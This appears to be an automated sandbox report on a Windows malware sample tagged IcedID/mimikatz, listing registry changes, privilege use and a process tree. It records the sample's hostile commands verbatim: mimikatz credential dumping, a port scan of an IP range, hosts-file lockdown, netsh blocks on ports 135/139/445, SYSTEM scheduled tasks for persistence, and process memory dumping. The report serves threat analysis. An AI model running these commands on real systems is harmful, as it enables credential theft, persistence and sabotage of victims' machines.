Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople eilnunc.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A9EBCCD2-F12B-41E6-8854-C5ABD48924FD}\WpadDecisionTime = e0d146f44d89da01 eilnunc.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A9EBCCD2-F12B-41E6-8854-C5ABD48924FD}\WpadDecisionTime = e02c4a2c4e89da01 eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A9EBCCD2-F12B-41E6-8854-C5ABD48924FD}\aa-72-07-a6-f3-75 eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe -
Modifies registry class 14 IoCs
Processes:
eilnunc.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ eilnunc.exe -
Processes:
eilnunc.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 eilnunc.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 eilnunc.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
eilnunc.exeeilnunc.exepid process 2392 eilnunc.exe 1184 eilnunc.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
eilnunc.exepid process 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exepid process 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exeeilnunc.exeeilnunc.exevfshost.exesvchost.exevrqyqlcuq.exetnymeq.exevrqyqlcuq.exevrqyqlcuq.exevrqyqlcuq.exevrqyqlcuq.exedescription pid process Token: SeDebugPrivilege 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2020 eilnunc.exe Token: SeDebugPrivilege 2656 eilnunc.exe Token: SeDebugPrivilege 2088 vfshost.exe Token: SeAuditPrivilege 2568 svchost.exe Token: SeDebugPrivilege 2176 vrqyqlcuq.exe Token: SeShutdownPrivilege 2176 vrqyqlcuq.exe Token: SeLockMemoryPrivilege 1556 tnymeq.exe Token: SeLockMemoryPrivilege 1556 tnymeq.exe Token: SeDebugPrivilege 1140 vrqyqlcuq.exe Token: SeShutdownPrivilege 1140 vrqyqlcuq.exe Token: SeDebugPrivilege 2112 vrqyqlcuq.exe Token: SeShutdownPrivilege 2112 vrqyqlcuq.exe Token: SeDebugPrivilege 1688 vrqyqlcuq.exe Token: SeShutdownPrivilege 1688 vrqyqlcuq.exe Token: SeDebugPrivilege 2936 vrqyqlcuq.exe Token: SeShutdownPrivilege 2936 vrqyqlcuq.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exeeilnunc.exeeilnunc.exexohudmc.exedqhjao.exeeilnunc.exeeilnunc.exepid process 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe 2020 eilnunc.exe 2020 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2040 xohudmc.exe 2088 dqhjao.exe 2392 eilnunc.exe 2392 eilnunc.exe 1184 eilnunc.exe 1184 eilnunc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.execmd.exeeilnunc.execmd.execmd.exewpcap.exedescription pid process target process PID 2868 wrote to memory of 2936 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 2868 wrote to memory of 2936 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 2868 wrote to memory of 2936 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 2868 wrote to memory of 2936 2868 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 2936 wrote to memory of 2932 2936 cmd.exe PING.EXE PID 2936 wrote to memory of 2932 2936 cmd.exe PING.EXE PID 2936 wrote to memory of 2932 2936 cmd.exe PING.EXE PID 2936 wrote to memory of 2932 2936 cmd.exe PING.EXE PID 2936 wrote to memory of 2020 2936 cmd.exe eilnunc.exe PID 2936 wrote to memory of 2020 2936 cmd.exe eilnunc.exe PID 2936 wrote to memory of 2020 2936 cmd.exe eilnunc.exe PID 2936 wrote to memory of 2020 2936 cmd.exe eilnunc.exe PID 2656 wrote to memory of 2520 2656 eilnunc.exe cmd.exe PID 2656 wrote to memory of 2520 2656 eilnunc.exe cmd.exe PID 2656 wrote to memory of 2520 2656 eilnunc.exe cmd.exe PID 2656 wrote to memory of 2520 2656 eilnunc.exe cmd.exe PID 2520 wrote to memory of 2260 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2260 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2260 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2260 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2528 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2528 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2528 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2528 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2680 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2680 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2680 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2680 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2772 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2772 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2772 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2772 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2440 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2440 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2440 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2440 2520 cmd.exe cmd.exe PID 2520 wrote to memory of 2436 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2436 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2436 2520 cmd.exe cacls.exe PID 2520 wrote to memory of 2436 2520 cmd.exe cacls.exe PID 2656 wrote to memory of 2476 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2476 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2476 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2476 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2532 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2532 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2532 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2532 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2912 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2912 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2912 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2912 2656 eilnunc.exe netsh.exe PID 2656 wrote to memory of 2776 2656 eilnunc.exe cmd.exe PID 2656 wrote to memory of 2776 2656 eilnunc.exe cmd.exe PID 2656 wrote to memory of 2776 2656 eilnunc.exe cmd.exe PID 2656 wrote to memory of 2776 2656 eilnunc.exe cmd.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 2776 wrote to memory of 1520 2776 cmd.exe wpcap.exe PID 1520 wrote to memory of 388 1520 wpcap.exe net.exe
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:988
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C:\Windows\TEMP\dunqlgivb\tnymeq.exe"C:\Windows\TEMP\dunqlgivb\tnymeq.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1556
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C:\Users\Admin\AppData\Local\Temp\2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mypsebuf\eilnunc.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2932 -
C:\Windows\mypsebuf\eilnunc.exeC:\Windows\mypsebuf\eilnunc.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2020
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C:\Windows\mypsebuf\eilnunc.exeC:\Windows\mypsebuf\eilnunc.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2260
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2528
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2680
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2772
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2440
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2436
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2476 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:2532 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:2912
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iylieyqyt\pqmfufybt\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\iylieyqyt\pqmfufybt\wpcap.exeC:\Windows\iylieyqyt\pqmfufybt\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:388
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:1800
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:2160
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2592
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:2632
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:680
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:1400
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1336
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1480
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2152
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2136
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2452
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2032
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2844
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iylieyqyt\pqmfufybt\bqewiucvf.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iylieyqyt\pqmfufybt\Scant.txt2⤵
- Loads dropped DLL
PID:1720 -
C:\Windows\iylieyqyt\pqmfufybt\bqewiucvf.exeC:\Windows\iylieyqyt\pqmfufybt\bqewiucvf.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iylieyqyt\pqmfufybt\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2852 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iylieyqyt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iylieyqyt\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1264 -
C:\Windows\iylieyqyt\Corporate\vfshost.exeC:\Windows\iylieyqyt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2088 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uypsbybvp" /ru system /tr "cmd /c C:\Windows\ime\eilnunc.exe"2⤵PID:880
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1620
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uypsbybvp" /ru system /tr "cmd /c C:\Windows\ime\eilnunc.exe"3⤵
- Creates scheduled task(s)
PID:1428 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ebtcpicql" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mypsebuf\eilnunc.exe /p everyone:F"2⤵PID:2264
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1044
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ebtcpicql" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mypsebuf\eilnunc.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1728 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gtqqhpbtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\dunqlgivb\tnymeq.exe /p everyone:F"2⤵PID:556
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:868
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "gtqqhpbtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\dunqlgivb\tnymeq.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1564 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:2232
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2112 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1940
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:1656 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:1132
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2636
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2616 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:1716
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2904 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:1864
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C:\Windows\TEMP\iylieyqyt\vrqyqlcuq.exeC:\Windows\TEMP\iylieyqyt\vrqyqlcuq.exe -accepteula -mp 988 C:\Windows\TEMP\iylieyqyt\988.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2176 -
